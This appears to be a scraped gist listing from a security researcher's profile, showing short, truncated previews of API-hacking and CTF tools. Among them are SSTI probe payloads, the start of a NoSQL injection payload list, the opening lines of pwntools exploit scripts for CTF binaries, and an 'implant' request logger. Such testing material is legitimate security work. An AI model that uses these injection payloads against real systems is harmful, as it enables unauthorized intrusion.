Dana Epp DanaEpp

## txt_to_postman_b64_json.py
#!/usr/bin/env python3

from argparse import ArgumentParser, Namespace
import os
import base64
import json

def main(srcFile: str, dstFile:str) -> None:

        if not os.path.isfile(srcFile):

## ssti-payloads.txt
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

## request_logger.py
#!/bin/env python3

"""
request_logger.py

A simple HTTP server that will dump the requests being mirrored from an implant on an API server

WARNING: This will record all header and body content of a request to a JSON file. To reduce the risk of
information disclosure, care should be placed in the ACL of the output file.

## dump-endpoints.jq
.paths | to_entries | map(select(.key | test("^x-") | not)) | map ( .key as $path | .value | to_entries | map( select( .key | IN("get", "put", "post", "delete", "options", "head", "patch", "trace")) | { method: .key, path: $path, summary: .value.summary?, deprecated: .value.deprecated?  })[] ) | map( .method + "\t" + .path + "\t" + .summary + (if .deprecated then " (deprecated)" else "" end)) []

## guid_reaper.py
#!/bin/env python3

import argparse
import datetime
import re
import sys
import uuid

###############################################################################
# Based off of Daniel Thatcher's guid tool

## nosql-injection-payloads-for-postman.json
[
	{"payload":"'"},
	{"payload":"''"},
	{"payload":";%00"},
	{"payload":"--"},
	{"payload":"-- -"},
	{"payload":"\"\""},
	{"payload":";"},
	{"payload":"' OR '1"},
	{"payload":"' OR 1 -- -"},

## thm-dump.py
#!/bin/env python3
import getpass
import time
import requests
from requests.cookies import create_cookie
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
import re
from typing import List

## exploit110.py
#!/bin/env python3

import sys
from pwn import *

exe = "./pwn110.pwn110"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

def start(argv=[], *a, **kw):

## gist:18500ab8c14893da46ae095678a12f43
#!/bin/env python3

import sys
from pwn import *

exe = "./pwn109.pwn109"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

def start(argv=[], *a, **kw):

## setup_vpn.sh
#!/bin/bash

# Author: Dana Epp (@danaepp)

GROUP_NAME="DisposableVPN"
VM_NAME="DisposableVPN"
REGION="canadacentral"
PORT="51820"

echo "Creating resource group '$GROUP_NAME'..."
	#!/usr/bin/env python3

	from argparse import ArgumentParser, Namespace
	import os
	import base64
	import json

	def main(srcFile: str, dstFile:str) -> None:

	if not os.path.isfile(srcFile):
	#!/bin/env python3

	"""
	request_logger.py

	A simple HTTP server that will dump the requests being mirrored from an implant on an API server

	WARNING: This will record all header and body content of a request to a JSON file. To reduce the risk of
	information disclosure, care should be placed in the ACL of the output file.
	#!/bin/env python3

	import argparse
	import datetime
	import re
	import sys
	import uuid

	###############################################################################
	# Based off of Daniel Thatcher's guid tool
	[
	{"payload":"'"},
	{"payload":"''"},
	{"payload":";%00"},
	{"payload":"--"},
	{"payload":"-- -"},
	{"payload":"\"\""},
	{"payload":";"},
	{"payload":"' OR '1"},
	{"payload":"' OR 1 -- -"},
	#!/bin/env python3
	import getpass
	import time
	import requests
	from requests.cookies import create_cookie
	from requests.adapters import HTTPAdapter
	from requests.packages.urllib3.util.retry import Retry
	import re
	from typing import List
	#!/bin/env python3

	import sys
	from pwn import *

	exe = "./pwn110.pwn110"
	elf = context.binary = ELF(exe, checksec=False)
	context.log_level = 'info'

	def start(argv=[], a, *kw):
	#!/bin/bash

	# Author: Dana Epp (@danaepp)

	GROUP_NAME="DisposableVPN"
	VM_NAME="DisposableVPN"
	REGION="canadacentral"
	PORT="51820"

	echo "Creating resource group '$GROUP_NAME'..."